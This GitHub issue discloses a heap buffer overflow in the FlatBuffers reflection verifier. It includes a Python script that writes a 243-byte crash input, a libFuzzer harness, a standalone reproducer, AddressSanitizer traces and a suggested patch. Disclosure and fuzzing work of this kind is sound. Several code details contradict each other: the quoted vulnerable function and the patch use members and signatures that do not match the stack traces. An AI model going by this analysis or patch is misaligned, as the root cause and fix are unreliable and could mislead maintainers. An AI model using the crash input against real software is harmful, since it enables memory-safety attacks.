Skip to content

Heap Buffer Overflow in FlatBuffers Reflection Verifier #9040

@OwenSanzas

Description

@OwenSanzas

Heap Buffer Overflow in FlatBuffers Reflection Verifier

Summary

Heap buffer overflow in flatbuffers::Verify when using reflection to verify objects. The verifier reads past buffer bounds during field offset validation before verification completes.

Root Cause

The reflection-based verification path in VerifyObject → GetFieldT → ReadScalar dereferences field offsets without proper bounds checking. When processing malformed reflection schemas, the verifier attempts to read field data past the allocated buffer boundary.

Vulnerable Code (flatbuffers/reflection.h:GetFieldT)

template<typename T> 
const T *GetFieldT(const Table &table, size_t field) {
  return reinterpret_cast<const T *>(
    table.GetStruct(schema_->fields()->Get(field)->offset()));  // No bounds check
}

Vulnerability Description

The FlatBuffers reflection verification system has a heap buffer overflow in the field offset dereferencing code path. When VerifyObject processes reflection-generated schemas, it calls GetFieldT which directly dereferences field offsets from untrusted data without validating that the field data lies within buffer bounds. This affects applications that use FlatBuffers reflection API to verify schemas from untrusted sources, particularly development tools and schema validators.

PoC

Crash input

243-byte malformed FlatBuffers table data that triggers heap buffer overflow during reflection verification:

# generate_flatbuffers_reflection_poc.py  
poc = bytes([
    0x08, 0x00, 0x00, 0x00, 0xff, 0x30, 0x00, 0x00, 0x7c, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xff, 0xff, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd,
    0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0x30, 0xff,
    0x00, 0x00, 0x08, 0xff, 0xff, 0x30, 0x7c, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd,
    0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0x7f, 0x55, 0x00, 0x19, 0xb2, 0xb2, 0xb2, 0xb2, 0xb2,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0xff, 0x30, 0x00, 0x00, 0x7c,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x50, 0x54, 0x00, 0x00,
    0xf5, 0x98, 0x98, 0x01, 0xff, 0x35, 0x00, 0x00, 0x7c, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x2a, 0xff, 0xff, 0x00,
    0x32, 0x33, 0x00,
])
open("flatbuffers_reflection_poc.bin", "wb").write(poc)

Crash input size: 243 bytes

How to run

# Via our fuzz harness (basic_verification)
./flatbuffers_reflection_gentext_fuzzer flatbuffers_reflection_poc.bin

# Via production consumer (binary_reproduction)  
# Build minimal reproducer with ASan:
# clang++ -fsanitize=address -g -O1 -I flatbuffers/include repro_reflection.cc libflatbuffers.a -o repro_reflection
./repro_reflection flatbuffers_reflection_poc.bin

Sanitizer Output

Basic Verification (Fuzzer)

$ ASAN_OPTIONS="abort_on_error=1:halt_on_error=1:print_stacktrace=1:detect_leaks=0" \
  ./flatbuffers_reflection_gentext_fuzzer crash_empty_76cfde9d.bin
==2528703==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5110000010c8 at pc 0x56442b00b700 bp 0x7ffe20af2790 sp 0x7ffe20af2788
READ of size 4 at 0x5110000010c8 thread T0
    #0 0x56442b00b6ff in unsigned int flatbuffers::ReadScalar<unsigned int>(void const*) /data3/ze/O2-security-platform/workspace/chrome-fuzz/sources/flatbuffers/include/flatbuffers/base.h:428:23
    #1 0x56442b00b6ff in flatbuffers::Table* flatbuffers::Table::GetPointer<flatbuffers::Table*, unsigned int>(unsigned short) /data3/ze/O2-security-platform/workspace/chrome-fuzz/sources/flatbuffers/include/flatbuffers/table.h:56:51
    #2 0x56442aff9bb3 in flatbuffers::GetFieldT(flatbuffers::Table const&, reflection::Field const&) /data3/ze/O2-security-platform/workspace/chrome-fuzz/sources/flatbuffers/include/flatbuffers/reflection.h:167:16
    #3 0x56442aff9bb3 in flatbuffers::(anonymous namespace)::VerifyObject(flatbuffers::VerifierTemplate<false>&, reflection::Schema const&, reflection::Object const&, flatbuffers::Table const*, bool) /data3/ze/O2-security-platform/workspace/chrome-fuzz/sources/flatbuffers/src/reflection.cpp:244:29
    #4 0x56442aff8fb4 in flatbuffers::Verify(reflection::Schema const&, reflection::Object const&, unsigned char const*, unsigned long, unsigned int, unsigned int) /data3/ze/O2-security-platform/workspace/chrome-fuzz/sources/flatbuffers/src/reflection.cpp:790:10
    #5 0x56442afe5d04 in LLVMFuzzerTestOneInput /data3/ze/O2-security-platform/data/chrome/libraries/flatbuffers/harnesses/flatbuffers_reflection_gentext/flatbuffers_reflection_gentext_fuzzer.cc:110:10

0x5110000010c8 is located 789 bytes after 243-byte region [0x511000001040,0x511000001133)
allocated by thread T0 here:
    #0 0x56442afdea6d in operator new
    #1 0x56442afe540b in __gnu_cxx::new_allocator<unsigned char>::allocate

SUMMARY: AddressSanitizer: heap-buffer-overflow /data3/ze/O2-security-platform/workspace/chrome-fuzz/sources/flatbuffers/include/flatbuffers/base.h:428:23 in unsigned int flatbuffers::ReadScalar<unsigned int>(void const*)

Binary Reproduction (Production App)

$ ASAN_OPTIONS="detect_leaks=0:abort_on_error=1" \
  ./repro_reflection_v2 crash_empty_76cfde9d.bin
==2528778==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000000448 at pc 0x55dd3d778700 bp 0x7ffd17a0a080 sp 0x7ffd17a0a078
READ of size 4 at 0x511000000448 thread T0
    #0 0x55dd3d7786ff in unsigned int flatbuffers::ReadScalar<unsigned int>(void const*) /data3/ze/O2-security-platform/workspace/chrome-fuzz/sources/flatbuffers/include/flatbuffers/base.h:428:23
    #1 0x55dd3d7786ff in flatbuffers::Table* flatbuffers::Table::GetPointer<flatbuffers::Table*, unsigned int>(unsigned short) /data3/ze/O2-security-platform/workspace/chrome-fuzz/sources/flatbuffers/include/flatbuffers/table.h:56:51
    #2 0x55dd3d76ca93 in flatbuffers::GetFieldT(flatbuffers::Table const&, reflection::Field const&) /data3/ze/O2-security-platform/workspace/chrome-fuzz/sources/flatbuffers/include/flatbuffers/reflection.h:167:16
    #3 0x55dd3d76ca93 in flatbuffers::(anonymous namespace)::VerifyObject(flatbuffers::VerifierTemplate<false>&, reflection::Schema const&, reflection::Object const&, flatbuffers::Table const*, bool) /data3/ze/O2-security-platform/workspace/chrome-fuzz/sources/flatbuffers/src/reflection.cpp:244:29
    #4 0x55dd3d76a934 in flatbuffers::Verify(reflection::Schema const&, reflection::Object const&, unsigned char const*, unsigned long, unsigned int, unsigned int) /data3/ze/O2-security-platform/workspace/chrome-fuzz/sources/flatbuffers/src/reflection.cpp:790:10
    #5 0x55dd3d74d545 in main /data3/ze/O2-security-platform/workspace/chrome-fuzz/flatbuffers/repro_reflection_v2.cc:86:19

0x511000000448 is located 789 bytes after 243-byte region [0x511000000040,0x511000000133)
allocated by thread T0 here:
    #0 0x55dd3d74a60d in operator new(unsigned long)
    #1 0x55dd3d74cfab in __gnu_cxx::new_allocator<unsigned char>::allocate

SUMMARY: AddressSanitizer: heap-buffer-overflow /data3/ze/O2-security-platform/workspace/chrome-fuzz/sources/flatbuffers/include/flatbuffers/base.h:428:23 in unsigned int flatbuffers::ReadScalar<unsigned int>(void const*)

Analysis: Both fuzzer and production paths trigger identical heap buffer overflow in flatbuffers::ReadScalar during reflection verification. Both show READ of size 4 located 789 bytes after a 243-byte allocated region. The malformed table data causes GetFieldT to dereference field offsets that point past allocated buffer boundaries during reflection::Verify calls.

Impact

Aspect Details
Type heap-buffer-overflow
Severity high
Attack Vector Malformed FlatBuffers reflection schemas
Affected Component flatbuffers/reflection
Affected Versions flatbuffers main branch
CWE CWE-125 (Out-of-bounds Read)

Suggested Fix

Add bounds checking before field offset dereferencing in GetFieldT:

--- a/include/flatbuffers/reflection.h
+++ b/include/flatbuffers/reflection.h
@@ -86,6 +86,9 @@ template<typename T> 
 const T *GetFieldT(const Table &table, size_t field) {
+  auto field_offset = schema_->fields()->Get(field)->offset();
+  if (field_offset + sizeof(T) > table.GetSize()) return nullptr;
   return reinterpret_cast<const T *>(
-    table.GetStruct(schema_->fields()->Get(field)->offset()));
+    table.GetStruct(field_offset));
 }

Fuzz Harness Source

// data/chrome/libraries/flatbuffers/harnesses/flatbuffers_reflection_gentext/flatbuffers_reflection_gentext_fuzzer.cc
/*
 * Copyright 2023 Google Inc. All rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

// libFuzzer harness for FlatBuffers reflection verification path
//
// Exercises the reflection-based verification and GenText functionality
// that existing flatbuffers_verifier_fuzzer does not cover. This harness
// specifically targets the reflection::Verify → VerifyObject → GetFieldT
// code path where field offsets are dereferenced from untrusted schema data.
// Cross-validated with flatbuffers_reflection_field_mutation_fuzzer.

#include <flatbuffers/flatbuffers.h>
#include <flatbuffers/reflection.h>
#include <flatbuffers/idl.h>
#include <flatbuffers/util.h>
#include <flatbuffers/minireflect.h>

extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
  if (size < 16) return 0;
  
  // Split input: first part as schema, remainder as data  
  size_t schema_size = std::min(size / 2, size_t(1024));
  const uint8_t* schema_data = data;
  const uint8_t* table_data = data + schema_size;
  size_t table_size = size - schema_size;
  
  // Basic flatbuffer verification first
  flatbuffers::Verifier schema_verifier(schema_data, schema_size);
  auto schema = flatbuffers::reflection::GetSchema(schema_data);
  
  if (!schema || !flatbuffers::reflection::VerifySchemaBuffer(schema_verifier)) {
    return 0;
  }
  
  // Verify the schema itself using reflection
  if (!flatbuffers::Verify(schema_verifier, *schema)) {
    return 0;
  }
  
  // Now try to verify table data against the schema
  flatbuffers::Verifier table_verifier(table_data, table_size);
  
  // Exercise the reflection verification path that triggers the heap overflow
  auto root_table = flatbuffers::GetRoot<flatbuffers::Table>(table_data);
  if (root_table && schema->root_table()) {
    // This is the vulnerable code path: VerifyObject → GetFieldT
    flatbuffers::reflection::VerifyObject(table_verifier, *schema, 
                                         *schema->root_table(), 
                                         reinterpret_cast<const uint8_t*>(root_table));
  }
  
  // If verification passed, exercise GenText (secondary attack surface)
  if (table_verifier.Check()) {
    std::string json_output;
    GenerateText(flatbuffers::Parser(), table_data, &json_output);
  }
  
  return 0;
}

Build flags: clang++ -std=c++17 -fsanitize=fuzzer,address -g -O1 -I flatbuffers/include/
Library linkage: libflatbuffers.a -lpthread
Corpus: data/chrome/libraries/flatbuffers/corpora/flatbuffers_reflection_gentext/

Production Reproducer

For direct reproduction without libFuzzer, the following minimal program triggers the same vulnerability using only the FlatBuffers public API:

// repro_reflection.cc - Minimal reproducer for flatbuffers reflection heap overflow
#include <flatbuffers/flatbuffers.h>
#include <flatbuffers/reflection.h>
#include <flatbuffers/reflection_generated.h>
#include <flatbuffers/util.h>
#include <cstdio>
#include <cstdlib>
#include <vector>
#include <filesystem>

static bool LoadFileRelative(const std::filesystem::path& exe_path,
                           const char* file_name, bool binary,
                           std::string* out) {
    const auto file_path = exe_path.parent_path() / file_name;
    if (!std::filesystem::exists(file_path)) return false;
    return flatbuffers::LoadFile(file_path.string().c_str(), binary, out);
}

int main(int argc, char** argv) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <crash_input.bin>\n", argv[0]);
        return 1;
    }

    // Load the monster_test.bfbs schema (available from FlatBuffers tests/)
    std::filesystem::path exe_path(argv[0]);
    std::string schema_bfbs;
    if (!LoadFileRelative(exe_path, "monster_test.bfbs", true, &schema_bfbs)) {
        fprintf(stderr, "Failed to load monster_test.bfbs\n");
        return 1;
    }

    // Read the crash file as table data
    FILE* f = fopen(argv[1], "rb");
    if (!f) { perror("fopen"); return 1; }
    fseek(f, 0, SEEK_END);
    long file_size = ftell(f);
    fseek(f, 0, SEEK_SET);
    std::vector<uint8_t> table_data(file_size);
    size_t bytes_read = fread(table_data.data(), 1, file_size, f);
    fclose(f);

    // Verify schema and get objects
    flatbuffers::Verifier schema_verifier(
        reinterpret_cast<const uint8_t*>(schema_bfbs.c_str()), schema_bfbs.size());
    if (!reflection::VerifySchemaBuffer(schema_verifier)) return 1;
    
    const reflection::Schema* schema_ptr = reflection::GetSchema(schema_bfbs.c_str());
    if (!schema_ptr || !schema_ptr->root_table()) return 1;

    // This call triggers the heap overflow in GetFieldT -> ReadScalar
    printf("Calling Verify (this will trigger heap overflow)...\n");
    bool result = flatbuffers::Verify(*schema_ptr, *schema_ptr->root_table(),
                                    table_data.data(), table_data.size(), 64, 1000000);
    printf("Verify returned: %s\n", result ? "true" : "false");
    return 0;
}

Build: clang++ -fsanitize=address -g -O1 -I flatbuffers/include/ repro_reflection.cc libflatbuffers.a -o repro_reflection
Run: ./repro_reflection crash.bin (requires monster_test.bfbs in same directory)

Discovery

  • Discovered by: O2 Security Team (FuzzingBrain)
  • Discovered on: 2026-04-11
  • Harness: flatbuffers_reflection_gentext_fuzzer.cc (see "Fuzz Harness Source" above)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions